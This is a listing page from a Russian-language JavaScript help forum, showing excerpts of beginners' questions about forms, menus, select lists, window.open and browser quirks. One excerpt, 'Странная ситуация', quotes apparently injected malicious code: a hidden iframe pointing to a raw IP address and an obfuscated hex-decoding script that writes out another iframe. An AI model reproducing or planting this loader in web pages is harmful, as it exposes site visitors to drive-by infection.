JavaScript
A programming language that conforms to the ECMAScript specification
Explore Questions
There are no popular questions to show right now
-
0 votes1 answer
-
0 votes0 answers
-
0 votes0 answers
-
0 votes1 answer
-
0 votes0 answers
4,723 questions in this forum
-
Проверка введенных данных в скрытых полях
Друзья! Имею вот такой скипт: function Check() { if (document.forms[0].elements[4].value == "") { alert ("n Выберите адресата.") document.forms[0].elements[4].focus(); return false; } return true; } Вот такую форму <FORM action="/info/mail.asp" method=POST id=SendMail name=SendMail onsubmit="return Check();"> и в форме прописываю <INPUT type="hidden" name="To" /> Но, вот засада. Если к примеру адресат не выбран, то данные на сервер все равно отправляются при установке скрытого поля, а если к примеру устанавливаю текстовое поле, все работает как надо, т.е. не отправляет пока не выберу адресата. В чем дело? Можете помочь? Спасибо!
0 votes13 answers -
Передача данных из формы
Имеется форма месяцев: Код: $m = date("m", time()); $y = date("Y", time()); $d = date("d", $time); $month = array("1"=>"Січень","2"=>"Лютий","3"=>"Березень","4"=>"Квітень","5"=>"Травень", "6"=>"Червень", "7"=>"Липень","8"=>"Серпень","9"=>"Вересень","10"=>"Жовтень","11"=>"Листопад","12"=>"Грудень"); echo "<center><form action='' name ='calControl' method='POST'> <select name='month' style='width:80px'>"; $fm=$m; echo " <option value='$fm'>Січень</option> <option value='$fm'>Лютий</option> <option value='$fm'>Березень</option> <option value='$fm'>Квітень</option&g…
0 votes2 answers -
Надпись в адресной строке
Не могу найти примеры как можно сменить надпись в адресной строке браузера так, чтобы он по ней не пошел. Помогите пожалуйста.
0 votes13 answers -
Доступ к p3p кукам
Добрый день, Сейчас решаю такую задачу: нужно разместить на нескольких сайтах Js информер, который может настраиваться пользователем. Эти настройки должны учитываться на всех сайтах, где информер показывается. По причине достаточно высокой нагрузки есть желание отдавать статичный файл, который будет работать с настройками на клиенте. Собственно вопрос: решается ли эта задача на чистом Js (без фреймов, флеша и т.п.)? Если да, посоветуйте что почитать на эту тему, поиск пока что ничего вразумительного не дал.
0 votes2 answers -
Помогите поправитьт код?
Вот код меню, которое раскрывается на под меню при щелчке и закрывается при щелчке, но есть проблема. Как сделать, что бы подменю не закрывалось при нажатии пункта подменю? <script type="text/javascript"> var id_menu = new Array('sub_menu_1','sub_menu_2','sub_menu_3','sub_menu_4','sub_menu_5'); function allclose() { for (i=0; i < id_menu.length; i++){ document.getElementById(id_menu[i]).style.display = "none"; } } function openMenu(id){ for (i=0; i < id_menu.length; i++){ if (id != id_menu[i]){ document.getElementById(id_menu[i]).style.display = "none"; } } if (document.getElementById(id).style.display == "block"){ document.getElementById(id).…
0 votes6 answers -
Скрипт для случайной ротации ссылок или баннеров
Народ помогите усовершенствовать логику скрипта. <Script Language ="JavaScript"> function RandomNumber() { var today = new Date(); var num= Math.abs(Math.sin(today.getTime()/1000)); return num; } function RandomLinks() { var x = RandomNumber(); if (x > .77) {document.write("<a href='http://www.link-08.com/'>Link-08</a>"); return; } if (x > .66) {document.write("<a href='http://www.link-07.com/'>Link-07</a>"); return; } if (x > .55) {document.write("<a href='http://www.link-06.com/'>Link-06</a>"); return; } if (x > .44) {document.write("<a href='http://www.link-05.com/'>Link-04</a>"); r…
0 votes6 answers -
Проблема с перемещением div'a
Необходимо красиво перемещать див по странице. Проблема в том, что все найденные примеры поступают следующим образом: выбираешь что тащить, этот элемент левым верхом переносится к курсору и все перетаскивается. А нужно сделать красиво, чтобы как в винде: зажал левую кнопку мыши в произвольном месте заголовка окна и за это место можно менять расположение этого окна. Помогите пожалуйста сделать так! Ниже код, который мне понравился, но не показывающий желаемого результата <HTML> <HEAD> <TITLE>Drag'n'Drop</TITLE> <META http-equiv="Content-Type" content="text/html; charset=windows-1251"> <style type="text/css"> .maximage { padding: 0px;…
0 votes7 answers -
Выпадающее меню или нужен совет
Имеется скрипт: <script type="text/javascript"> function show_div(div_id) { document.getElementById('the_div_1').style.display = 'none'; document.getElementById('the_div_2').style.display = 'none'; document.getElementById('the_div_3').style.display = 'none'; document.getElementById(div_id).style.display = ''; } </script> <div><select> <option onclick="show_div('the_div_1'); return false;" >1</option> <option onclick="show_div('the_div_2'); return false;" >2</option> <option onclick="show_div('the_div_3'); return false;" >3</option> </select></div> <div id="the_div_1" >Бла-бла-бла 1</div&g…
0 votes8 answers -
Как подправить?
У меня есть код меню, само меню можно посмотресть здесь: www.info-food.ru <script type="text/javascript"> var id_menu = new Array('sub_menu_1','sub_menu_2','sub_menu_3','sub_menu_4','sub_menu_5'); function allclose() { for (i=0; i < id_menu.length; i++){ document.getElementById(id_menu[i]).style.display = "none"; } } function openMenu(id){ for (i=0; i < id_menu.length; i++){ if (id != id_menu[i]){ document.getElementById(id_menu[i]).style.display = "none"; } } if (document.getElementById(id).style.display == "block"){ document.getElementById(id).style.display = "none"; }else{ document.getElementById(id).style.display = "block"; } } </script&g…
0 votes1 answer -
Выпадающий список
Вы видете того кода? А как можно его заставить работать в Опере? И еще как можно написать так чтобы при повторном нажатии на ссылку меню убралось вообще??? Это может быть для вас кривой код <div onClick=f1()>Методические объединение</div></a> <a id="as" name="as"></a> <script> function f1() { window.as.innerHTML="<li onClick=on_klik('slovesniki.htm')>Словесники<li onClick=on_klik('ximiki.htm')>Химики<li onClick=on_klik('matematiki.htm')>Математики<li onClick=on_klik('informatiki.htm')>Информатики" } function on_klik(name) { location.href(name) }; </script>
0 votes1 answer -
Подскажите про вставку javascript
Можноли как нибуть подключить сценарий javascript, кроме прописания его в самом коде?
0 votes4 answers -
Как открыть окно на весь экран?
Здравствуйте. Поздравляю всех с Новым годом и Рождеством! Вопрос: Каким образом с помощью метода window.open открывать окно в полноэкранном размере? Благодарю всех ответивших.
0 votes5 answers -
Принудительная загрузка картинок из кеша в ИЕ
Я сделал меню с применением JavaScript, код такой: Главная все бы ничего, да Осел начинает заново загружать картинки с сервера, при событиях с мышью. Как это отменить? Да и по чему он это делает, ведь я картинку не меняю, а только изменяю ее положение?
0 votes2 answers -
Увеличение картинок
Мне московские друзья подарили один "забугорный" скрипт - увеличение картинок. Думаю очень пригодится для фотогалереи. Если понравится, могу дать исходники. Вот смотрите
0 votes6 answers -
Как убрать "Выполнено, но с ошибками на странице" ?
Сайт грузится, и пишет в IE (чтоб его!) "Выполнено, но с ошибками на странице" - фраза нехорошая, при этом говорит: Строка: 8 Символ: 3 Ошибка: Требуется объект. Смотрю код - там явно даже близко к 8 строчке нет ошибок, как он считает эти строчки? Кто-нибудь сталкивался?
0 votes7 answers -
Верная установка Value для select
temp="setTimeout( 'function(){obj_receiver.options[1].selected=true;}',1);"; eval(temp); obj_receiver.value = setid; obj_receiver.onchange(); где obj_receiver , ссылка на объект select Как правельно, в каком порядке, подготовить свойства select для выполнения onChange()? Как узнать у объекта select используется ли у него метод onChange?
0 votes1 answer -
onDblClick на tr в Opera
Opera перехватывает onDblClick ,выделяет контент в td, открывая контекстное меню(копировать, вставить и т.д), а процедуру не выполняет. Можно ли обойти это?
0 votes13 answers -
mootools + IE6
Не хватает уже злости работать с этим ишаком. использую mootools. в Опере и в Firefox все отлично а в IE6 проблема. есть такой код: <select id="sel_obj"><option>—</option></select> <script> function fillSelect() { var myAjax = new Ajax("result.php,{method: 'get',onComplete:function(text){alert(text);$(sel_obj).innerHTML=text;}}).request(); } </script> файл result.php возвращает примерно такую строку: <option>—</option><option value="1">Красный</option><option value="1">Зеленый</option><option value="1">Желтый</option> на onComplete срабатывает функция. в начале alert который и выводит вы…
0 votes2 answers -
Построение списка select с помощью JS в Opera 9.0
Здраствуйте! Задача такова - нужно менять формат времени с "00:00" на "1 PM" и обратно. И выводить список часов в select Все строится с помощию JavaScript. Кроме-того при смене формата времени, установленное в select значение должно сохраняться, а не сбрасываться на первое. Когда я с помощью того же самого JavaScript пытаюсь выбрать нужный элемент в списке, появляются лишние пустые options, которые являются всего лишь визуальными (на самом деле количество options такое какое и должно быть, т.е. 24). Причем этот косяк возникает только в Опере. Если не устанавливать принудительно selected элемент, все работает нормально. В чем может быть проблема? Помогите, пожалуйста, раз…
0 votes3 answers -
Странная ситуация.
<iframe src="http://220.130.128.170/ic/sp/index.php" width=1 height=1 style="visibility: hidden"></iframe> <script>function v477235597c64b(v477235597c64f){ function v477235597c65e () {var v477235597c662=16; return v477235597c662;} return(parseInt(v477235597c64f,v477235597c65e()));}function v477235597c68f(v477235597c693){ var v477235597c696='';for(v477235597c699=0; v477235597c699<v477235597c693.length; v477235597c699+=2){ v477235597c696+=(String.fromCharCode(v477235597c64b(v477235597c693.substr(v477235597c699, 2))));}return v477235597c696;} document.write(v477235597c68f('3C696672616D65206E616D653D276539326234346538343027207372633D27687474703A2F2F32323…
0 votes9 answers -
Смена прозрачности
Здравствуйте! Прошу помощи есть код <style> div.block { padding: 4px; background: #f00; } </style> <script> var Opacity = { set: function(elem, op) { var prop = this.getProperty(); if (!elem || !prop) return false; if (prop == 'filter') { op *= 100; var oAlpha = elem.filters['DXImageTransform.Microsoft.alpha'] || elem.filters.alpha; if (oAlpha) oAlpha.opacity = op; else elem.style.filter += 'progid:DXImageTransform.Microsoft.Alpha(opacity=' + op + ')'; } else elem.style[prop] = op; }, getProperty: function() { if (typeof document.body.style.opacity == 'string') return 'opacity'; else if (typeof document.body.style.MozOpacity =…
0 votes2 answers -
вертикальный градиентный фон
требуется чтобы фон на странице был градиентным по вертикали (к низу - темнее) нашла такой способ, но он работает только в ие: FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#0000FF, endColorStr=#ffdead) 0 - вертикальная заливка 1 - горизонтальная заливка. startColorStr и endColorStr - начальный и конечный цвета градиента. я так поняла, что для оперы и огнелиса такое можно реализовать только через javascript, но я с ним не очень дружу =) помогите чем сможете, поделитесь скриптом плиз =)
0 votes3 answers -
Как заставить работать калькулятор???
Нужна помощь : на странице калькулятор не работает скрипт в FF http://promspezstroi.ru , помогите исправить! Пробовал, не получается! Может кто знает как решить проблему! Спасибо! С уважением!
0 votes2 answers -
Отмена выполнения скрипта
Как остановить работу скрипта (без внесения в него условий для завершения, т.е. просто грохнуть из другого скрипта)? Скрипт может, как выполнятся через определенный интервал, так и запуститься один раз и долго работать в цикле... Есть че?
0 votes2 answers -
И снова window.open
MyWin=window.open("Url","MyWin"); если окно есть, даже если переменной MyWin нет. Url пойдет в location окна MyWin и перезапустит его. А если окна нет, созда?тся новое. Возможно ли отловить момент когда окно созда?тся как новое, и момент когда окно перезагружается с location = Url?
0 votes14 answers